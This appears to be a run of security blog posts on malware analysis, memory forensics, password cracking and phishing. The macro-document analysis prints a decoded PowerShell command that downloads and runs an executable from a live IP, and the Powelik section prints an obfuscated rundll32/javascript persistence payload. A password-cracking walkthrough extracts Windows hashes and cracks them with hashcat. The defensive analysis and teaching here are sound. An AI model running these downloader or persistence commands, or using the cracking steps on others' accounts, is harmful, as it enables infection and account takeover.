Evolution of the macro enabled document (XML files and oledump-ception)

Looks like the miscreants have changed their tactics slightly, yet again.

I hope you're all familiar with the macro enabled document. If not, I analyzed one here: http://arvandor2.blogspot.com/2015/02/malware-analysis.html

They pretty much all followed the same typical pattern, almost to a T, for several months. Then they made a slight modification. At first it kind of mystified me, since while it made my job of analysis slightly more difficult, it should have made it more obvious even to the less technical of users that it was bad.

It made the analysis more difficult since it showed up as a straight XML file, not an OpenXML or any kind of Office doctype, so my automated tools (at the time,) wouldn't strip out the macros, and forced me to rely more on dynamic analysis. I'll discuss how that got fixed later...

So at first, all they did was change the file to an XML, with the macro embedded, and set <?mso-application progid="Word.Document"?> to make it launch word. Then it would show the "enable content" button as per usual, so on and so forth. You could easily see that it was macro enabled, however...

Then, a few weeks later we see this little oddity... No macro enabled, but there's an embedded object.



Interesting... So when we open this critter, we see this



Really? A .xls icon inside of a Word Document? That SHOULD be suspicious even to the more clueless click-happy users.

I was able to decode the base64 embedded in the XML file, but it just looked like junk to me... however...

The wonderfully awesome Didier Stevens at http://blog.didierstevens.com/ has built this insanely powerful OLE file analyzer in python, called oledump. I shared the sample with him, and he was able to determine that the junk from the base64 decoded stream was actually ZLIB encoded data (which he gathered by the x78 hex value near the beginning of the hexdump.) Once decoded, this proved to be yet another OLE object, which turned out to be the VBA code that is run when you double click on the icon.

Stevens then updated his oledump tool to handle this file. His tool is very slick in that you can pipe its output out to other commands, and it can also handle output piped into it. He did a little video on analyzing this XML sample here: https://www.youtube.com/watch?v=uaua4NogEyk

To sum it up, however, he works his way up to this neat little one line incantation to strip out the relevant IOC from the VBA code.

oledump -s A1 --decompress -d 078409755.doc | oledump -s 3 -e | pcregrep -o '".+"' | head -n 1 | tr -d '"' | base64 -d

Quick summary of the above command: You run oledump on the malicious .doc (XML) file, and it shows a single stream, A1. So you get info on, and eventually add the new --decompress switch to decompress the stream. You add the -d switch to dump it raw, and then pipe that into your second instance of oledump. Now it shows four streams, one of which is labeled Ole10Native. Hmmm, an ole object, eh? So you get info on it with the -i switch and it mentions some .vbs files. A vbs script, neat.

Swap out the -i switch for the -e switch and it dumps out the VB code just as if it were a normal macro enabled document. This code contains a base64 encoded string that looks like Base64Decode("codedtext"). The pcregrep command cuts out everything found between a pair of quotes, the head -n 1 takes the first line, since that's the only thing we're interested in, tr -d '"' deletes the quotes from the string, and base64 -d decodes it to regular text which finally reveals what the macro is trying to do.

cmd /K powershell.exe -ExecutionPolicy bypass -noprofile (New-Object System.Net.WebClient).DownloadFile('http://91.227.18.76/smoozy/shake.exe','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;

Launch powershell, download a file from that ip called shake.exe, store it as that .cab file, then expand it to an .exe and run it. The .cab to .exe bypasses a certain protection, but what I can't remember off-hand. I'll look it up later ;)

Quick Volatility Script

As much as I love running all the same commands in volatility over and over again, I decided what I love even more is scripting it all and then viewing the output at my leisure once the computer is done chugging away with my most commonly used plugins.

It's quick and dirty, like most of my scripts, but I'm dumping it here so that I can easily drop it onto a new computer/build/VM/whatever...

#!/bin/bash

#Simply runs a bunch of my most commonly used volatility plugins

 if [ $# -lt 2 ]
then
    #I added the script to /usr/bin/memscan and gave it execute
    echo "Useage: memscan imagename profile"
else

    if [ ! -d dump ];
    then
        #The script doesn't use this folder, but I do ;)
        mkdir dump
    fi

    for plugin in pslist pstree psxview malfind hivelist dlllist
    do
        echo "Running $plugin"
        python /usr/share/volatility/vol.py -f $1 --profile=$2 $plugin > $plugin.txt
    done
    echo "Running autoruns"
    python /usr/share/volatility/vol.py --plugins=/usr/share/

volatility/contrib/plugins/autoruns /usr/share/volatility/vol.py/contrib/plugins/autoruns-f $1 -- profile=$2 autoruns > autoruns.txt
    echo "Running mimikatz"
    python /usr/share/volatility/vol.py --plugins=/usr/share/volatility/contrib/plugins /usr/share/volatility/vol.py/contrib/plugins -f $1 --profile=$2 mimikatz > passwords.txt
    echo "Creating timeline"
    python /usr/share/volatility/vol.py -f $1 --profile=$2 mftparser --output=body --output-file=mftparser.txt
    mactime -b mftparser.txt -d -z UTC-6 > timeline.txt
fi

Another (possible) scam, targetting androids

So there I was the other day, doing my daily browse of junk on Facebook, when I saw one of those random links that you just KNOW are filled with clutter, are absurdly difficult to navigate, and are in general questionable anyways. But... it was auto-correct fails! Those are always good for a laugh.

So I clicked on the link. It then pulled up some window telling me that my android was out of date, and to simply click on the button to get my android updated. This makes me wish I had a way to point my phone to my laptop as a proxy, or had rooted my phone and put some kind of linux distro on it, but alas, I couldn't dig into the scam.

Anyways, being the paranoid security professional I am, I closed out of that window, went into my phone's built in update methods, and it said no updates are available. Interesting. To be fair, my phone IS running a less than current version of android, but clearly an update has not been released for my model of phone. You would never EVER get phone updates through a link you clicked on in your Facebook app, however.

It all looked very official though, with that little green android dude and whatnot. Makes me want to start a project to see about a virtualized phone or a security research phone or something along those lines.

Keep an eye out, folks! Stay safe, and don't click on suspicious things, even on or especially on your phones/tablets!

Password cracking 101 (and password best practices)

Had a fun little story where a friend came to me hoping I could help him break into one of his friend's computers.

Yeah... what?

Apparently the friend had some old computer she couldn't quite remember the password to. My friend's thought the best way to solve the problem was to have me crack it. Haha, works for me, sounds like fun =)

Now, there are actually a number of ways to solve this problem, since with physical access to an unencrypted harddrive, you can do pretty much whatever you want to it. There are all kinds of bootable OS tools and other utilities (such as Cain and Able) that will let you change, blank, or view passwords or whatever. So, I told him what he'd need to do.

First, you need the System and SAM files. Copies, actual files, or as they are resident in memory, doesn't matter ;)

Then, you'll need to create a key file from the System file that can be used to unlock the SAM file. This can be done with bkhive

bkhive SystemFile KeyFile

Note: The keyfile is the output, and you can call it whatever you want.

Then you use samdump2 to dump the hashes

samdump2 SAMfile KeyFile > hashes.txt

The next step is modifying your hashes file so that it doesn't confuse hashcat. For example, if you have username:passwordhash: then the trailing colon will throw a line length exception error in hashcat. The easy fix for this (especially if there are a lot of hashes,) is to use sed.

sed 's/:$//g' hashfile.txt

s means to search and replace, the :$ means look for a colon only at the end of a line, the // is normally where the replacement goes, since it's blank, it will remove the colon. The g means globally, so that it will do it to all occurrences.

Next, we get to run hashcat. For this one, I use the biggest list and rule files that come prepackaged in Kali.

hashcat -a 0 -m 1000 --username -r /usr/share/haschat/rules/d3ad0ne.rule hashfile.txt /usr/share/wordlists/rockyou.txt

-a 0 = This is the attack mode (straight, in this case)

-m 1000 = Type of hash. 1000 is NTLM, which is the hashtype Windows used.

--username = this tells hashcat to ingore the username in the username:hash format (otherwise it loads the entire line as a hash, and fails)

-r /rulepath = tells hashcat to use the specified rulelist

hashfile.txt = The file of hashes to crack

Dictionary path = Location of the wordlist you want to use (in this case, rockyou.txt, which comes compressed by default on Kali, so you have to unzip it.)

Once it cracks the passwords (which it won't show with the username,) you can run the same command as above, with an added --show switch, and it will give you a username:hash list of all the cracked passwords.

Anyways, back to the story, he grabbed the system and SAM files, but I forgot to mention the part about the bkhive on the System file, so he was trying to use the entire System file as the key... I helped him sort that out, and immediately I notice the local administrator account has a blank password. I'm like "She can just log into her admin account and change whatever she wants." But no, he STILL wanted to crack it, just to say he had, or to impress his friend, or something, whatever, no skin off my back.

 We set a clunky ol' Lenovo to cracking. About 15 minutes later another friend mentioned "Wouldn't it be cool if we could get a server cluster behind this?" And I was like "Actually... I have a version of hashcat on my laptop that will appropriate the GPU and crunch out hashes like whoa." Sure enough, we dumped that poor, single hash into my not even all that impressive laptop. 52 seconds and 1.6 BILLION hashes later it found a match, and the password was cracked! Friend of friend could now get into her computer again, yay!

It was some name with a couple numbers. This is a terrible password. Don't do it. So let's talk passwords for a second. Don't use any kind of dictionary word, don't use fictional character names from books (raistlin, gandalf, haplo, anything like that,) and don't use common number sequences, like dates. ALSO don't use character/number replacement. wH@tEv3r1! is a depressingly easy password to crack, for example. That rules file above? It takes every single entry in a dictionary list, and applies all the rules to them, effectively creating a MASSIVE and dynamic dictionary list. So it will take an entry like password, and try PaSsWoRd, Password1, password123, P@55w0rd!@12, password1969, 5password2015, so on and so forth. Keyboard patterns are also commonly added to password dictionaries. And I don't just mean asdfjkl; But other more "clever" ones as well, like 1qazXSW@ or %TGBnhy6. They look like good passwords, right? They're not.

So, random passwords are best, length over complexity, and use a password manager. I personally like to make up nonsense words, made up molecules (alister8pheNDren!te) for example (easier to remember since it's pronouncable), or a phrase. As xkcd pointed out in one of their comics, "charge horse battery staple" is not only easy to remember, but harder to crack than "complex" passwords. In this instance, it would be ok to use l33t speak to meet complexity criteria. charge h0rse Battery staple is still going to be nigh impossible to crack, and will satisfy most password requirements (spaces count as special characters in systems that accept them). I'd suggest not using that one though, as its popularity renders it not terribly secure, it's just an example.

Secondly... Security Questions. Do NOT answer them honestly. Even if you're not a celebrity. It's worse for celebrities, however, as this is how all those celebrity nudes got leaked a few months back. Their passwords were compromised by miscreants doing a password reset, and answering the security questions that the CELEBRITIES answered honestly. You may as well just make your password your significant other's name and save the badguys some trouble. Your mother's maiden name, your first car, first job, all of those kinds of things could potentially be discovered through some research and/or social engineering. So if you answer them honestly, someone could go reset your password and bam, account compromised. So I don't know about you guys, but I totally had a childhood friend named 7yU-f)!@5nMB.

And, lastly, even if you keep awesome 16 character random passwords, there's always the possibility it can get caught in plaintext somewhere, or if someone can find/capture the hash, they can pass the hash and not have to worry about what actually generated the hash in the first place. There's also the potential for a keylogger to be watching your every keystroke. So what's a person to do? Two-factor authentication. Anything that will allow you to use two-factor authentication, jump on it. Tie your gmail to your phone and require a one-time code texted to your phone when you log in from a new or portable device, tie bank accounts to something, and tie game accounts to a dongle or phone app... Or whatever. LastPass even supports the creation of a thumbdrive that will act as a sort of key, and if it isn't plugged into the computer, you can't log on. These kind of multi-factor steps are perhaps even more important than having a super password, but I'd suggest having both. Defense in layers and all that.

Well, that was longer than I expected...

tl;dr: Don't use stupid passwords

VirtualBox to volatility, a short script

So, after about the third time I referred to my malware analysis blog post to remember how to run the VirtualBox memory dump, then carve out the volatility compatible section from the elf file, I decided it was a pain in the neck and that a script was in order. It's a very simple script, but does the job I need it to.

#!/bin/bash

# This script will take a memory dump of the specified Virtual Machine and automatically convert it into a file that is readily manipulated through
# volatility.

if [ $# -lt 2 ]
  then
    echo "Usage: ./scriptname VirtualMachineName OutputFileName"
else
  VBoxManage debugvm $1 dumpguestcore --filename $2.elf
  start=$((`readelf -W -l $2.elf | grep -i -m 1 "LOAD" | awk {'print $2'}`+1))
  end=$((`readelf -W -l $2.elf | grep -i -m 1 "LOAD" | awk {'print $5'}`))
  tail -c +$start $2.elf | head -c $end > $2.raw
  rm $2.elf
fi

Bash is so cool!

Hiding in the registry? Not new, but still effective

Here's kind of a fun one. Potentially infected machine (was trying to talk out to Russia...) so I start with all the usual precursory research. Don't see anything that really stands out, although an orphaned dllhost.exe process sounded like a good starting point to me. Launched a memory dump and started moving the 3.8 gig file over the WAN (ugh, so slow.)

While the file moved along, got some intel that suggested this could be powelik, a piece of malware that hides itself in the registry, not touching disk, and not using memory quite in the same way as all the noisey samples I've been analyzing for the past couple weeks.

Started out with my usual psxview, pslist, pstree, malfind, mutants, cmdscan, and dlllist plugins within volatility. Didn't see anything terribly interesting in any of them. I wanted to take a closer look at that dllhost process, so I ran a procdump on it, which... Failed for some reason. Strange. Did a vaddump on it instead, which is much messier, but still good for running strings on, at the very least.

So I ran strings on the resulting vaddump files, and found a couple registry key values (as well as some IPs and strange domains). After finding out through prior research that powelik hides in the registry, and uses dllhost, this seemed like a good indicator for where to look next.

The next part took a little bit of trial and error on my part. Digging through the registry as it sits in memory using volatility is a far cry different from using a tool like regedit. I've played around with the printkey module, but how to see exactly where it's pulling keys from, has always been a mystery to me. With a little bit of research, I've finally figured it out... to a degree.

First, we need to use the hivedump command with volatility, this gives us a list of all the registry hives (I use this command typically to get the System and SAM offsets for hashdumping). The key listed in the vaddump strings was "software\classes\clsid\{73E709EA-5D93-4B2E-BBB0-99B7938DA9E4}\localserver32."
The prior research suggested this should be located in the local user registry (HKLU,) and also mentioned that that file is located at C:\Users\username\AppData\Local\Microsoft\Windows\UsrClass.dat. This was a very useful bit of information, as I would have been barking up the wrong tree without this little tidbit. Clearly I need to study up on the registry a little bit.

Anyways, hivelist will show the offsets for the above registry file. I did a printkey just on the offset with no key specified, which for whatever reason listed CLSID without the software\classes parent keys... Which... Is odd, I still don't quite get how the registry is structured when pulled from memory, but anyways, there it was. So I did a printkey on the CLSID and saw a bunch of weird values similar to and including the one above starting with 73E. So, did a printkey on that one and saw this:

rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("epdvnfou/xsjuf)(=tdsjqu!mbohvbhf>ktdsjqu/fodpef?(,)ofx!BdujwfYPckfdu)(XTdsjqu/Tifmm(**/SfhSfbe)(ILDV]]tpguxbsf]]dmbttft]]dmtje]]|bc9:13c5.1:db.5cc7.c89e.b9g6:18:b9e6~]]mpdbmtfswfs43]]b(*,(=0tdsjqu?(*".replace(/./g,function(_){return%20String.fromCharCode(_.charCodeAt()-1);}))
Along with a bunch of what looks to me like binary data.

Well well, yet another indicator described in my powelik reading. It uses this registry key (hidden from normal browsing/modification through regedit with a null name or an unreadable non-ASCII character,) to maintain persistence. That javascript runs and leverages powershell to run the obfuscated shellcode. That eval function is more or less caesar shifted, it runs a function on each character, which basically just subtracts one from each. I haven't tried to decode it yet, but I'm willing to bet it points to a registry key.

And what would this post be without a slick tool? An associate pointed me to http://www.greymagic.com/security/tools/decoder/ which is a decoder for scripts that were encoded with Microsoft Script Encoder (I didn't even know that was a thing...) I literally pasted that registry key, javascript, binary, and all, into the decoder, and it spat back all the code. It does indeed check for powershell, and install it if it isn't there. Then there's a base64 encoded section that calls the shellcode (which is base64 coded within the first base64 encoding.) It shows the c2 servers at the end of the first chunk of base64, which is an exact string I saw in the vaddump of dllhost. It always pleases me to see things correlate like that.

Anyways, while my boss and I were going through the base64 decoding, noticed a nice little MZ header. Aha! Ran foremost on the file and it carved out the .dll slick as a whistle. The dll even has a whopping 8 hits on VT. The only problem, is that since this dll is triple encoded and located in a registry key with a non-ascii character name (making it impossible to query properly,) I don't see how an anti-virus could properly scan for it, even assuming it did have a signature for it. Kind of slick, but not in a good way.

This is how e-mails get compromised

Well, at least one of the ways. Had an e-mail come in with a Subject "Important Document" and simply stated "Kindly view the document i attached to you via Drop box," with a "View Document" button.

Seems simple enough. For those that hover over links before clicking on them, you'll immediately notice this button doesn't take you to dropbox, but instead takes you to some tecnomax-ec domain.

Let's click on it! =D




Oh cool, now I can sign in to dropbox with my e-mail! Apparently dropbox decided to change their e-mail service to tecnomax-ec... You know... so as to not confuse people.

So, let's log on using gmail.

I entered my username as thisisafake@gmail.com and a password of yeahright,hahah!! The interesting thing? It takes me to google docs, just as if I'd signed in! Only, as myself!



So in my software proxy, it shows me the POST request sending my fake username and password to tecnowherever, then it returns a "site has temporarily moved" with a link to a public access google docs file. Since I was already logged into google through groups or gmail or somesuch, it can use that session token for all kinds of google supported sites and services, and google docs is one of them. This way, it appears as though I really did log in to view the document (assuming I'd used my actual gmail credentials,) even though what REALLY happened, is that tecnotards just harvested your username and password, then sent you to google docs to minimize the raising of any red flags.

This is sneaky because many sites legitimately authenticate you against your google or facebook account. Be weary when doing this, however, and be sure that the URL reflects one you'd expect for what you're signing into (not tecnomax-ec for dropbox...)

The really scary part? The first time it gave me some kind of high traffic warning and didn't show me the document. I'd like to think that they're all security guys like me who put in fake credentials just for the sake of poking, proding, and trying to find malicious behavior, but something tells me that there are a lot of people out there who are in sudden and dire need of a password change...